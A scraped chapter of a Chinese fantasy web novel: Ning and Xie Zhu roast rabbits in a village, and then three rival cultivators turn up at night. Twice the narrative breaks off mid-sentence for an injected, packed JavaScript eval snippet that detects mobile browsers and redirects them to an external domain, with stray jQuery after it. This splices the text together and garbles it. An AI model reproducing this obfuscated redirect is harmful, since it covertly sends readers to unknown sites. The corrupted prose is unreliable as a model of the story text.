说着,纪宁给自己和谢诛一人倒了一碗,又给小五添满,三人端着酒碗碰了碰,一起分享着这坛不分离的梨酒。 … 喝完了酒,小五便开始处理兔子。 小五先将谢诛抓住的两只还活着的扑朔关进笼子,准备等之后需要时再杀。 但笼子里的两只扑朔异常不安,或许是明白了自己之后也难逃“烧烤”,连小五今早从井里新打出来的水都不喝,不停的冲撞着笼子,连水碗都打翻了。 小五无奈,只得把它们的腿绑了起来,四脚朝天的按在地上,这才安分了点。 然后小五搬了个小板凳,坐在院中,将纪宁已经杀死的两只兔子剥了皮,破了肚,料理干净,抹上盐。 纪宁见状,便帮忙在院中架起柴火堆,不需要火折子,纪宁指尖轻弹,一簇火灵力落在了木头上,很快就升腾起火焰,这下万事俱备,就等着烤了。 谢诛看小五和纪宁都有事儿做,只有自己闲着,便自告奋勇,要帮忙烤兔子。 看着跃跃欲试的谢诛,纪宁和小五面面相觑。 纪宁问道:“你会烤兔子吗?” 看着眼神清澈,坦然的摇了摇头的谢诛,纪宁捂住了头: “……我就不该问。算了,你想烤就烤吧,我们在旁边帮忙看着。” 说着,纪宁扭头征求小五的意思,见小五也点头同意,便把正对着火堆的“宝座”和一只已经处理好、用干净木棍穿好的兔子交给了谢诛。 小五见暂时不用自己亲手烤兔子,便又跑去厨房,将母亲背上还睡着的小妹接了过来,熟练的抱在怀里,边哄着小妹,边在一旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406427|184489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指导谢诛烤兔子。 “火有点大了,小心烤焦!” 谢诛闻言,赶忙用灵力压了压火焰。 “又有点小了,再翻翻火堆,让火大点儿。” 纪宁听了,紧急弹出一簇灵力,让火烧的更旺些。 “哎呀又大了!快快快,都烧到肉了!” 这下谢诛和纪宁都手忙脚乱起来,一会儿压小火,一会儿又扇大火。 一会儿大一会儿小,哪怕小五尽力挽救,兔腿还是烤得有点焦了。 小五只得把小妹交给了纪宁抱着,换了谢诛起来,自己亲自上手,烤另一只兔子。 小五的手艺娴熟,没一会儿,一只香喷喷的烤兔子就出炉了。 而小五妈妈此时也做好了一锅酸辣面片汤,正喊着他们去吃饭。 在饭桌上,一人端着一碗酸辣面片汤,分享着小五烤的那只香喷喷的烤兔肉。 对着另一只谢诛烤的“失败作”,小五垂头丧气,又是可惜又是自责,觉得浪费了一只兔子。 谢诛却直接拿起那烤的外表焦黑的兔腿,一口啃下去,嚼了嚼就咽进肚子,然后又迫不及待的咬下第二口,没几下就把一整条烤兔腿吃完了。 在此生的第一天中午,谢诛尝到了面片汤和烤兔腿的味道。面片汤又酸又辣,吃的他满头大汗,却非常爽快,烤兔腿焦糊的外皮先是股苦味,再接着啃下去,就成了咸香。 … 吃完饭,就到了下午。 村里不少人听说小五家里来了仙人,时不时就有人聚在门外偷看,被纪宁发现后,又慌乱的赶紧扭过头去,有的抬头装作看天,有的低头装作在地上找东西。 纪宁不以为意,却一个劲的撺掇谢诛去和村民讲话。 一来二去,谢诛帮人挑了满缸的水,又帮人劈了一院子的柴,甚至还飞上房檐,帮某户人家修了漏水的屋顶,靠自己的劳动,换了不少干粮和糖。 快近黄昏时,有个小孩听了谢诛“仙人”的本领,摘了堆野果来跟谢诛做交换,想让谢诛在他父母回来前,把他家不知道怎么窜到屋顶,嗷嗷哀嚎的老狗抱下来。 看着小孩怀里看起来新鲜清甜,红彤彤的野果,谢诛二话不说就答应了。 然后跟着小孩儿去了他家,利落的一跃而上,将那不知为何被困在屋顶上的老狗解救了下来。 见谢诛成功救下了老狗,纪宁这才心安理得的接过小孩怀里的野果,咬了口。 突然,一阵意料之外的酸涩侵袭牙齿,酸的纪宁控制不住的表情扭曲。 看着纪宁扭曲表情的小孩,有些半信半疑的也拿了个野果,咬了一口。 现在表情扭曲的人有两个了。 而也拿了个野果在吃的谢诛,在一旁无动于衷的啃完了一整个果子,甚至还说:“好吃,刚开始是有些酸,但后面就甜了。” 小孩不好意思的又去摘了些一串红,教谢诛和纪宁将花梗掰开,吸食花蜜,一口甜花蜜,配一口酸野果,三人吃得不亦乐乎。 在此生的第一天黄昏,谢诛尝到了野果和花蜜的味道,没熟透的野果是酸的,掰开的花瓣是甜的。 村角一个晒太阳的老人,看见了谢诛救狗这一幕,颤巍巍的自言自语: “俗话说,老狗上房,家败人亡,这是不祥之兆啊……” 但声音太小,隐没在阴影里,没有任何人听到。 … 村里的生活淳朴简单,日出而作,日落而息。 黑夜将至,小五母亲带着小妹睡在侧房,将正中间的大房子让了出来。 纪宁和小五一起睡在床上,谢诛打着地铺,和衣而眠。 就在他们即将入睡时,小五家门外,那简陋的木门外传来一阵敲门声。 “咚咚咚” “咚咚咚” 敲门声并不急躁,却有条不紊,持之以恒的继续敲着。 11. 活宝儿来相问 “谁在敲门啊?这么晚了。”纪宁躺在床上翻了个身,闭着眼睛懒洋洋的说道。 小五却翻身坐了起来,准备下床去看看。 “我开门看看!若是村里人,直接就在门外喊我了,不会敲这么久。或许是和纪姐姐你们一样来借宿的客人?”小五对纪宁说。 听着那礼貌克制,连间隔都一致的敲门声,纪宁觉出点不对劲: “小五,你先别过去。我出去开门,你在后面看着。若是村里人还好说,若是不怀好意的外人,你就告诉我,我来打发。” 说完,纪宁下了床,用脚尖轻轻踢了踢在床边打着地铺,好似睡着的谢诛,说道: “和我一起出去看看。” 话音刚落,谢诛就睁开眼睛,眼中清明一片,原来刚刚只是在闭目养神。 纪宁和谢诛走到院中,将小五护在身后,那“咚咚咚”的敲门声仍有条不紊的进行着。 纪宁用口型默念着: “三,二,一!” “一”字落下的同时,纪宁猛地打开门一看,正巧和屋外抬起手来,准备再敲一次门的道士打了个照面。 那是个剑眉星目的道士,一身破烂道袍,打扮简朴,背着把木剑,只以一枝木簪束发。 纪宁的回忆一下被唤起,敲门的原来是个“熟人”。 眼前站着的正是在百兵谷密林中,追着纪宁跑的三个活宝儿之一—— 人称“木剑无锋”柳无尘。 纪宁又瞄了一眼道士身后,果然看到了另外两个活宝儿的身影,正是凌云和叶灼华。 在纪宁看到柳无尘的同时,柳无尘自然也看到了纪宁。 看着纪宁那张脸,柳无尘一下子愣住了,张着嘴呆立着,一言不发。 “柳古董,不是你说要借宿,怎么不说话?你问不了我来问……” 凌云被柳无尘挡在身后,一时间没看见纪宁,见柳无尘好不容易敲开了门却不说话,便拨开他的肩膀,挤上前来。 凌云刚挤上来,正准备问问这户人家能否借宿,一抬眼,看到纪宁的脸后,也愣住了。 这下小五家门外呆立的人成了两个。 一时间没有人说话,寂静在深夜中蔓延。 过了几秒,凌云像是突然反应过来似的,颤抖着手,指着纪宁: “你你你……” “我我我?” 纪宁面无表情的插起手说道:“原来是哑巴和结巴在敲门。” “说话了!” 凌云猛地尖叫一声,转身就开始摇身边柳无尘的肩膀,一边摇一边大喊道: “道士!道士!你快看看,咱们这是不是见鬼了!” “这……我看看。” 柳无尘闻言还真的开了灵观,打量起来: “这位道友身周并无鬼气,反而神息内敛,灵力充沛,呼吸也正常,应该不是……” “你竟然没死!” 叶灼华打断了柳无尘的絮絮叨叨,不耐烦的拨开自己那两个“一惊一乍”的同伴,仔细看了看纪宁的脸,眼神一亮,发出惊喜的呼喊: “我就知道!你这么有本事的人,不会那么轻易就死的!” “死了,我们就是鬼魂一家,你们是谁,没见过,不知道,别装熟。”纪宁用毫无起伏的声音生硬的说。 背后的谢诛没看懂这场面,索性一言不发,装起雕像来。 而小五前后看了看,想着: 虽然门外这三人自己不认识,但好像是纪姐姐的熟人。 便也学着谢诛的样子,板起脸来,不发一言。 “昨天黄昏,百兵谷中,我不是刚说过,我叫叶灼华,日后必定名扬天下,你怎么不记得了!” “昨天偷剑的就是你,怎么还在装不知道!”凌云有些气急。 “道友,昨天在百兵谷中我们见过的,还过了几招,唔……” 看着纪宁仍面无表情的面孔,柳无尘有点犹豫,担心自己认错了人。 “你们说认识我,那我叫什么?”纪宁问道。 “这……”柳无尘挠挠头,看向自己的同伴,发现另外两人也一脸茫然。 “昨日慌乱之间,好像是忘了互通名姓。”柳无尘只得硬着头皮回答。 “都不知道我叫什么,竟然还敢说认识我。”纪宁冷哼一声。 “难道真是认错了?”凌云有些错乱。 “昨日我们亲眼看见沈谷主一剑破了生机,死而复生之事听起来的确有些无稽之谈。” 柳无尘想了想,也有些不确定: “可世间真有长得如此相像的两人?” “怎么没有,好走不送。” 看着三个活宝儿一本正经讨论的样子,纪宁憋笑憋的声音都有些颤抖。 凌云能一箭穿云碎玉,自然有一副好眼力。此时敏锐的捕捉到了纪宁略微弯起的嘴角。 “你还想骗我!”凌云一下子恍然,有些恼羞成怒,“绝对就是你!我不会看错!” 纪宁也被这三个活宝儿逗得装不下去了,眼看就要绷不住笑出声来,便干脆说道: “是我又如何?” “你果然厉害,这样的朋友我叶灼华是交定了!之后有空来切磋!”叶灼华兴奋说道。 “原来你没死,也不说一声,亏我们还想为你挣个公道。”凌云愤愤不平。 叶灼华却翻了个白眼。 “凌小鬼果然是小鬼,你连别人名字都不知道,更别说联系暗号了,怎么跟你说? 别人好不容易从百兵谷那样的围攻中脱身,又能跟你说什么?谢谢你也追过我?” 凌云自知理亏,却又被说的有些恼羞成怒,咬咬牙反击道: “不愧是叶大小姐,懂得真多啊!” “凌小鬼!你是不是皮痒了想打架!” 叶灼华听了“大小姐”这称呼,一下子抽了鞭子出来。 眼看两人怒目相视,火气上涌,一言不合就要打起来,而柳无尘仍站在中间,泰然自若的说道: “道友安然无恙,真是太好了!” 甚至有些兴高采烈。 … 昨日,百兵谷后山。 活宝三人组站在密林边缘,亲眼看着那银蛇飞剑穿过纪宁的眉心,俱变了脸色。 “喂,不过是偷了把剑,还了不就是了,至于杀人吗?”凌云不理左右同道的眼神,皱眉冷冷向天上发问。 柳无尘也一脸严肃的抱拳道: “此事实在罪不至死!更何况那位道友曾明言,她只是心痒难耐,想提前一睹宝剑风采,不曾有据为己有之意,甚至还托我们将宝剑归还给沈谷主……” 叶大小姐则更直白些,靠在树干上直抒胸臆的呸了口唾沫:“白费什么口舌!滥杀无辜,还假装高人,我呸!” 沈铸没理会这地上的小噪音,只是在天上向四周略拱了拱手,便又如来时一般飘然而去了。 天上的沈铸没有回复,地上的闲人却吵闹起来,叽叽喳喳的话语刺向三个少年。 “哪里来的毛头小子,没有长辈管教的吗?敢偷人家百兵谷的东西,自然要做好偿命的准备!” “啧啧啧,这么善心?怕不是鸡都没杀过就出来混江湖了?” “嗨!不会是个不忍杀生的和尚吧?这也没剃光头啊!” “说到和尚,我旁边这位宝华寺的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“说什么天下能者齐聚,我看是杀人夺宝者多,英雄好汉者少。”叶灼华不屑地撇了撇嘴。 “依我看,那是能人不多,孬种不少!”凌云抬了抬下巴,说:“尤其是话很多的那两个,被我双箭齐发射了发髻后,腿抖的就差尿裤子了!” “腿是很抖,但他们没有尿裤子。”柳无尘接道:“你不是没看吗?怎么知道的?” “我偷瞄了几眼不行啊?”凌云冷哼一声,底气不足的小声说道。 “哦,我懂了,你当时是在耍帅。”柳无尘若有所悟的摸了摸下巴。 “都别打岔!”叶灼华给柳无尘和凌云一人一个脑瓜崩,强制自己的两个活宝同伴闭嘴,然后转身对纪宁说道: “虽然不知道你是怎么在沈铸的飞剑下逃生的,但有这等本领,我看你才是那崖上最厉害的英雄好汉。再次自我介绍一下,我是叶灼华,桃之夭夭,灼灼其华。” 叶灼华对着纪宁挑了挑眉,伸出手,说道:“怎么样,认识一下?” 然后面上不动声色,脚下却暗中踢了凌云一脚,示意他也跟上。 “我是凌云。少年凌云志,万里竞风流的凌云。”凌云扭过头,虽然有些别扭,也还是老实说道。 “道友好,我是柳无尘。闲心对定水,清净两无尘的无尘。”柳无尘先是恭敬的行了一礼,才抱拳笑着说道。 “怎么都这么文绉绉的,我是纪宁,安宁的宁,宁静的宁。” 纪宁笑着说道,随后握上了眼前这个人如其名,如桃花般明艳的少女的手。